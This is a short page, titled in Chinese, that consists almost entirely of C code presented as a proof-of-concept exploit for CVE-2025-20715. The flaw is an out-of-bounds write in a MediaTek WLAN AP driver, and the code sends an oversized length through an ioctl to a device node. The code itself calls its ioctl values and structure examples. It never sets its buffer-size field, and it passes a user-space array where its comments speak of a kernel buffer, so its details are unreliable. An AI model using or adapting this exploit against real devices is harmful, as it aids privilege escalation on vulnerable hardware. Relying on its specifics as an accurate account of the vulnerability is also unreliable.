CVE-2025-20715 MediaTek WLAN AP驱动越界写入权限提升漏洞

# CVE-2025-20715 - MediaTek WLAN AP Driver Out-of-Bounds Write PoC # This is a conceptual PoC demonstrating the vulnerability pattern. # The actual exploit requires kernel-level access and specific driver interaction. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // IOCTL command for WLAN AP driver (example, actual values vary by platform) #define WLAN_AP_IOCTL_SET_CONFIG 0x1001 #define WLAN_AP_IOCTL_SEND_FRAME 0x1002 // Structure representing the vulnerable configuration buffer typedef struct { unsigned int data_len; // User-controlled data length (not properly validated) unsigned int buf_size; // Actual allocated buffer size unsigned char *data; // Pointer to data buffer } wlan_ap_config_t; /* * Vulnerable function pattern in the WLAN AP driver: * The driver copies 'data_len' bytes from user buffer without checking * if 'data_len' exceeds 'buf_size', causing an out-of-bounds write. */ int trigger_oob_write(int fd, unsigned int malicious_len) { wlan_ap_config_t config; unsigned char local_buf[256]; // Fixed-size kernel buffer config.data_len = malicious_len; // Attacker controls this value config.data = local_buf; // The driver performs: memcpy(kernel_buf, user_data, config.data_len) // without validating config.data_len <= sizeof(kernel_buf) // This causes out-of-bounds write when malicious_len > 256 if (ioctl(fd, WLAN_AP_IOCTL_SET_CONFIG, &config) < 0) { perror("ioctl failed"); return -1; } printf("OOB write triggered with length: %u\n", malicious_len); return 0; } int main(int argc, char *argv[]) { int fd; unsigned int overflow_size = 512; // Exceeds the 256-byte buffer // Open the WLAN AP driver device node fd = open("/dev/wlan_ap", O_RDWR); if (fd < 0) { perror("Failed to open WLAN AP device"); printf("Note: This PoC requires a vulnerable MediaTek device with WLAN AP driver\n"); return -1; } printf("[*] CVE-2025-20715 PoC - MediaTek WLAN AP Driver OOB Write\n"); printf("[*] Attempting to trigger out-of-bounds write...\n"); trigger_oob_write(fd, overflow_size); close(fd); return 0; }